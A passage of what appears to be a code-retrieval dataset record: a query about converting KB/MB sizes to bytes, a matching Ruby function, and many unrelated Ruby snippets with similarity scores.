setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def activity_params params.fetch(:activity, {}).permit( :name, :start, :duration, :activity_type_id ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981269", "0.6783559", "0.6746007", "0.67423046", "0.6735905", "0.6593568", "0.6504213", "0.649792", "0.6482664", "0.6478558", "0.64566684", "0.64392304", "0.6380194", "0.6376366", "0.636562", "0.63208145", "0.63006365", "0.63001287", "0.6292953", "0.62927175", "0.62911004", "0.6290563", "0.6284484", "0.62436926", "0.6239928", "0.62184125", "0.62158304", "0.6210187", "0.6194002", "0.61786795", "0.61759156", "0.617342", "0.6162248", "0.61528504", "0.61527", "0.6146735", "0.6122714", "0.61169004", "0.61082125", "0.61052656", "0.6091036", "0.60807735", "0.6070328", "0.60634184", "0.60213035", "0.6017676", "0.6013606", "0.601112", "0.6007318", "0.6007318", "0.6001461", "0.6001135", "0.59966296", "0.5992013", "0.59919006", "0.599182", "0.5980991", "0.59676576", "0.5960269", "0.59588194", "0.59585214", "0.59578323", "0.5953503", "0.5952524", "0.59432703", "0.5939858", "0.59388995", "0.59388995", "0.5933866", "0.5930038", "0.5925672", "0.5924214", "0.59169805", "0.59106255", "0.5910254", "0.59086037", "0.5906149", "0.5898294", "0.58981514", "0.5896171", "0.58944154", "0.58943397", "0.5892325", "0.5887239", "0.58842856", "0.5880209", "0.5874584", "0.58694917", "0.5868719", "0.58669394", "0.5866552", "0.58662945", "0.5864085", "0.58623236", "0.5862258", "0.58597904", "0.58579135", "0.58542645", "0.5853335", "0.58517563", "0.5850614" ]
0.0
-1
convert_to_bytes(512, 'KB') => 524288 convert_to_bytes(1, 'MB') => 1048576
def convert_to_bytes(size, unit) size.to_f * UNITS_FACTOR[unit] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def bytes_to_mb bytes=0\n bytes / MEGABYTE\n end", "def bytes_from_kb kb\n\tb = (kb * 1024.0).round\nend", "def input_to_bytes(size)\n case size\n when /m|mb/i\n size.to_i * (1024**2)\n when /t|tb/i\n size.to_i * (1024**4)\n else\n # default is gigabytes\n size.to_i * (1024**3)\n end\n end", "def input_to_bytes(size)\n case size\n when /g|gb/i\n size.to_i.gb.to_bytes.to_i\n when /m|mb/i\n size.to_i.mb.to_bytes.to_i\n when /t|tb/i\n size.to_i.tb.to_bytes.to_i\n else\n size.to_i.gb.to_bytes.to_i\n end\n end", "def btog(bytes)\n return bytes / 1024 / 1024 / 1024\nend", "def bytes_representation_of(megabytes)\n megabytes * 1024 * 1024\n end", "def to_mb\n self / 1048576\n end", "def blocks_to_bytes(block_size, qty)\n size = ( block_size / 1024 ) * qty\n if size < 1000\n output = \"#{size} KB\"\n elsif size < 1000000\n output = \"#{size / 1000} MB\"\n elsif size < 1000000000\n output = \"#{size / 1000000} GB\"\n else\n output = \"#{size / 1000000000} TB\"\n end\n\n return output\nend", "def bytes(value)\n if value.is_a?(String)\n value =~ /([\\d\\.]+)\\s*(\\w*)/i\n size = $1.to_f\n unit = $2.strip.upcase if $2\n power = case unit\n when \"B\", \"\" then 0\n when \"K\", \"KB\" then 1\n when \"M\", \"MB\" then 2\n when \"G\", \"GB\" then 3\n when \"T\", \"TB\" then 4\n else raise UnitError\n end\n factor = 1024**power\n (size*factor).round\n elsif value.is_a?(Float)\n value.round\n elsif value.is_a?(Integer)\n value\n else\n raise ArgumentError\n end\n end", "def bytes_from_nice_bytes( nice_bytes )\n parts = nice_bytes.downcase.split( /(kb|mb|gb)/ )\n n = Float( parts.first )\n if parts[ 1 ]\n case parts[ 1 ]\n when 'kb'\n n * Numeric::KILO.to_i\n when 'mb'\n n * Numeric::MEGA.to_i\n when 'gb'\n n * Numeric::GIGA.to_i\n end\n else\n n\n end\nend", "def size_factor_to_bytes(size_by, size_factor)\n value = size_by.to_i\n case size_factor\n when 'KB' then return value * 1024\n when 'MB' then return value * 1024 * 1024\n when 'GB' then return value * 1024 * 1024 * 1024\n when 'TB' then return value * 1024 * 1024 * 1024 * 1024\n else return value # assume bytes\n end\n end", "def transform_byte(byte) \n byte = byte.to_f\n return two_digits(byte / 1073741824).to_s << \" GB\" if byte > 1073741824\n return two_digits(byte / 1048576).to_s << \" MB\" if byte > 1048576\n return two_digits(byte / 1024).to_s << \" KB\" if byte > 1024\n return two_digits(byte).to_s << \" B\"\nend", "def transform_byte(byte) \n byte = byte.to_f\n return two_digits(byte / 1073741824).to_s << \" GB\" if byte > 1073741824\n return two_digits(byte / 1048576).to_s << \" MB\" if byte > 1048576\n return two_digits(byte / 1024).to_s << \" KB\" if byte > 1024\n return two_digits(byte).to_s << \" B\"\nend", "def human_bytes(bytes)\n s = ['bytes', 'kb', 'MB', 'GB', 'TB', 'PB'];\n #indicates if thousands, millions ...\n place = (Math.log(bytes)/Math.log(1024)).floor\n (bytes/(1024 ** place.floor)).to_s+\" \"+s[place];\n end", "def human_size size_bytes\n size = size_bytes\n type = \"B\"\n\n %w{KB MB GB}.each do |t|\n if size > 1024\n size = size/1024\n type = t\n else\n break\n end\n end\n\n \"#{size}#{type}\"\nend", "def parse_bytes(str)\n unit = { 'k' => 1024, 'm' => 2**20, 'g' => 2**30 }[str[-1].downcase]\n str.to_i * (unit || 1)\nend", "def size_in_bytes(qty, unit, mib=false)\n qty = qty.to_i\n unit = unit.downcase\n if !mib\n case unit\n when \"kb\", \"kilobytes\"\n unit = \"kib\"\n when \"mb\", \"megabytes\"\n unit = \"mib\"\n when \"gb\", \"gigabytes\"\n unit = \"gib\"\n end\n end\n case unit\n when \"b\", \"bytes\"\n qty.to_s\n when \"kb\", \"kilobytes\"\n (qty * 1000).to_s\n when \"kib\", \"kibibytes\"\n (qty * 1024).to_s\n when \"mb\", \"megabytes\"\n (qty * 1000000).to_s\n when \"m\", \"mib\", \"mebibytes\"\n (qty * 1048576).to_s\n when \"gb\", \"gigabytes\"\n (qty * 1000000000).to_s\n when \"g\", \"gib\", \"gibibytes\"\n (qty * 1073741824).to_s\n else\n raise ArgumentError, \"Unknown unit #{unit}\"\n end\n end", "def as_byte_size(bytes)\n bytes = bytes.to_f\n i = BYTE_RANGE.length - 1\n while bytes > 512 && i > 0\n i -= 1\n bytes /= 1024\n end\n ((bytes > 9 || bytes.modulo(1) < 0.1 ? '%d' : '%.1f') % bytes) + ' ' + BYTE_RANGE[i]\n end", "def to_storage(bytes)\n case bytes\n when 0\n \"empty\"\n when 1..1.kilobyte-1\n bytes.to_s + \" b\"\n when 1.kilobyte..1.megabyte-1\n (bytes.to_f/1.kilobyte).round(2).to_s + \" Kb\"\n when 1.megabyte..1.gigabyte-1\n (bytes.to_f/1.megabyte).round(2).to_s + \" Mb\"\n when 1.gigabyte..1.terabyte-1\n (bytes.to_f/1.gigabyte).round(2).to_s + \" Gb\"\n else\n \"File is very long\"\n end\n end", "def to_gb\n self / 1073741824\n end", "def to_bytes; end", "def to_bytes; end", "def to_bytes\n value = self.to_i\n if value == 0\n raise Exception::new(\"Invalid size specification: \" << self << \".\")\n end\n \n exponent = nil\n case self[-1]\n when ?M\n exponent = 2\n when ?G\n exponent = 3\n when ?K\n exponent = 1\n when ?0, ?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9\n exponent = 0\n else\n raise Exception::new(\"Invalid unit in size specification: \" << self << \".\")\n end\n \n return value * (1024 ** exponent)\n end", "def size_in_bytes(qty, unit, mib = false)\n qty = qty.to_i\n unit = unit.downcase\n unless mib\n case unit\n when 'kb', 'kilobytes'\n unit = 'kib'\n when 'mb', 'megabytes'\n unit = 'mib'\n when 'gb', 'gigabytes'\n unit = 'gib'\n end\n end\n case unit\n when 'b', 'bytes'\n qty\n when 'kb', 'kilobytes'\n (qty * 1000)\n when 'kib', 'kibibytes'\n (qty * 1024)\n when 'mb', 'megabytes'\n (qty * 1_000_000)\n when 'm', 'mib', 'mebibytes'\n (qty * 1_048_576)\n when 'gb', 'gigabytes'\n (qty * 1_000_000_000)\n when 'g', 'gib', 'gibibytes'\n (qty * 1_073_741_824)\n else\n fail ArgumentError, \"Unknown unit #{unit}\"\n end\n end", "def size_mb \n return size / 1048576 # (1024 * 1024) \n end", "def size_in_bytes(qty, unit, mib=false)\n qty = qty.to_i\n unit = unit.downcase\n if !mib\n case unit\n when \"kb\", \"kilobytes\"\n unit = \"kib\"\n when \"mb\", \"megabytes\"\n unit = \"mib\"\n when \"gb\", \"gigabytes\"\n unit = \"gib\"\n end\n end\n case unit\n when \"b\", \"bytes\"\n qty\n when \"kb\", \"kilobytes\"\n (qty * 1000)\n when \"kib\", \"kibibytes\"\n (qty * 1024)\n when \"mb\", \"megabytes\"\n (qty * 1000000)\n when \"m\", \"mib\", \"mebibytes\"\n (qty * 1048576)\n when \"gb\", \"gigabytes\"\n (qty * 1000000000)\n when \"g\", \"gib\", \"gibibytes\"\n (qty * 1073741824)\n else\n raise ArgumentError, \"Unknown unit #{unit}\"\n end\n end", "def to_bytes input\n b = case input\n when String\n input.unpack(\"C*\")\n when Integer\n raise RangeError, \"Integer #{input} is to large to be a Byte\" unless input < 256\n [input]\n when Byte\n return [input]\n when Array\n input\n when NilClass\n []\n else\n raise TypeError, \"Unexpected type #{input.class} for ByteArray#to_bytes\"\n end\n b.map &Byte\n end", "def as_readable_bytes\n converted_value = self\n\n if self.to_i < 1024\n exponent = 0\n else\n max_exp = UNITS.size - 1\n\n # Convert to base\n exponent = (Math.log(self) / Math.log(1024)).to_i\n # We need this to avoid overflow for the highest unit\n exponent = max_exp if exponent > max_exp\n\n converted_value = self / (1024 ** exponent)\n end\n\n \"#{converted_value} #{UNITS[ exponent ]}\"\n end", "def convert_bytes_to_unit(data:, unit:)\n case unit\n when 'kb' then @usage = data.to_i / 1024\n when 'mb' then @usage = data.to_i / 1024 / 1024\n when 'gb' then @usage = data.to_i / 1024 / 1024 / 1024\n end\n end", "def size_from_bytes(qty, unit)\n qty = qty.to_i\n case unit.downcase\n when \"b\", \"bytes\"\n qty.to_s\n when \"kb\", \"kilobytes\"\n (qty / 1000).to_s\n when \"kib\", \"kibibytes\"\n (qty / 1024).to_s\n when \"mb\", \"megabytes\"\n (qty / 1000000).to_s\n when \"m\", \"mib\", \"mebibytes\"\n (qty / 1048576).to_s\n when \"gb\", \"gigabytes\"\n (qty / 1000000000).to_s\n when \"g\", \"gib\", \"gibibytes\"\n (qty / 1073741824).to_s\n else\n raise ArgumentError, \"Unknown unit #{unit}\"\n end\n end", "def bits_to_human_readable(num)\n ['bytes','KB','MB','GB','TB'].each do |x|\n if num < 1024.0\n return 